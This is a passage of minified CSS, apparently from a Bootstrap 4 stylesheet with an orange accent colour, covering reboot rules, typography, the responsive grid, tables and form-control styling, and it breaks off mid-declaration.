-webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=date],input[type=datetime-local],input[type=month],input[type=time]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:0.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0, 0, 0, 0.1)}.small,small{font-size:80%;font-weight:400}.mark,mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#6c757d}.blockquote-footer:before{content:"\2014\00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:0.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:0.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col-auto,.col-lg,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-auto,.col-md,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md-auto,.col-sm,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.33333%;flex:0 0 8.33333%;max-width:8.33333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.66667%;flex:0 0 16.66667%;max-width:16.66667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.33333%;flex:0 0 33.33333%;max-width:33.33333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.66667%;flex:0 0 41.66667%;max-width:41.66667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.33333%;flex:0 0 58.33333%;max-width:58.33333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.66667%;flex:0 0 66.66667%;max-width:66.66667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.33333%;flex:0 0 83.33333%;max-width:83.33333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.66667%;flex:0 0 91.66667%;max-width:91.66667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.33333%}.offset-2{margin-left:16.66667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333%}.offset-5{margin-left:41.66667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333%}.offset-8{margin-left:66.66667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333%}.offset-11{margin-left:91.66667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.33333%;flex:0 0 8.33333%;max-width:8.33333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.66667%;flex:0 0 16.66667%;max-width:16.66667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.33333%;flex:0 0 33.33333%;max-width:33.33333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.66667%;flex:0 0 41.66667%;max-width:41.66667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.33333%;flex:0 0 58.33333%;max-width:58.33333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.66667%;flex:0 0 66.66667%;max-width:66.66667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.33333%;flex:0 0 83.33333%;max-width:83.33333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.66667%;flex:0 0 91.66667%;max-width:91.66667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333%}.offset-sm-2{margin-left:16.66667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333%}.offset-sm-5{margin-left:41.66667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333%}.offset-sm-8{margin-left:66.66667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333%}.offset-sm-11{margin-left:91.66667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.33333%;flex:0 0 8.33333%;max-width:8.33333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.66667%;flex:0 0 16.66667%;max-width:16.66667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.33333%;flex:0 0 33.33333%;max-width:33.33333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.66667%;flex:0 0 41.66667%;max-width:41.66667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.33333%;flex:0 0 58.33333%;max-width:58.33333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.66667%;flex:0 0 66.66667%;max-width:66.66667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.33333%;flex:0 0 83.33333%;max-width:83.33333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.66667%;flex:0 0 91.66667%;max-width:91.66667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333%}.offset-md-2{margin-left:16.66667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333%}.offset-md-5{margin-left:41.66667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333%}.offset-md-8{margin-left:66.66667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333%}.offset-md-11{margin-left:91.66667%}}@media (min-width:992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.33333%;flex:0 0 8.33333%;max-width:8.33333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.66667%;flex:0 0 16.66667%;max-width:16.66667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.33333%;flex:0 0 33.33333%;max-width:33.33333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.66667%;flex:0 0 41.66667%;max-width:41.66667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.33333%;flex:0 0 58.33333%;max-width:58.33333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.66667%;flex:0 0 66.66667%;max-width:66.66667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.33333%;flex:0 0 83.33333%;max-width:83.33333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.66667%;flex:0 0 91.66667%;max-width:91.66667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333%}.offset-lg-2{margin-left:16.66667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333%}.offset-lg-5{margin-left:41.66667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333%}.offset-lg-8{margin-left:66.66667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333%}.offset-lg-11{margin-left:91.66667%}}@media (min-width:1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.33333%;flex:0 0 8.33333%;max-width:8.33333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.66667%;flex:0 0 16.66667%;max-width:16.66667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.33333%;flex:0 0 33.33333%;max-width:33.33333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.66667%;flex:0 0 41.66667%;max-width:41.66667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.33333%;flex:0 0 58.33333%;max-width:58.33333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.66667%;flex:0 0 66.66667%;max-width:66.66667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.33333%;flex:0 0 83.33333%;max-width:83.33333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.66667%;flex:0 0 91.66667%;max-width:91.66667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333%}.offset-xl-2{margin-left:16.66667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333%}.offset-xl-5{margin-left:41.66667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333%}.offset-xl-8{margin-left:66.66667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333%}.offset-xl-11{margin-left:91.66667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:0.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:0.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0, 0, 0, 0.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0, 0, 0, 0.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#fed9bf}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#fdb888}.table-hover .table-primary:hover{background-color:#fecaa6}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#fecaa6}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0, 0, 0, 0.075)}.table-hover .table-active:hover{background-color:rgba(0, 0, 0, 0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0, 0, 0, 0.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255, 255, 255, 0.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255, 255, 255, 0.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + 0.75rem + 2px);padding:0.375rem 0.75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:0.25rem;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;-o-transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{-webkit-transition:none;-o-transition:none;transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#fdc197;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25);box-shadow:0 0 0 0.2rem rgba(251, 119, 26, 0.25)}.form-control::-webkit-input-placeholder{color:#6c757d;opacity:1}.form-control:-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::-ms-input-placeholder{color:#6c757d;opacity:1}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + 0.5rem + 2px);padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}select.form-control[multiple],select.form-control[size]{height:auto}textarea.form-control{height:auto}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:0.25rem 0.5rem;margin-top:.1rem;font-size:0.875rem;line-height:1.5;color:#fff;background-color:rgba(40, 167, 69, 0.9);border-radius:0.25rem}.form-control.is-valid,.was-validated .form-control:valid{border-color:#28a745;padding-right:calc(1.5em + 0.75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%2328a745' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:center right calc(0.375em + 0.1875rem);background-size:calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;-webkit-box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25);box-shadow:0 0 0 0.2rem rgba(40, 167, 69, 0.25)}.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + 0.75rem);background-position:top calc(0.375em + 0.1875rem) right calc(0.375em + 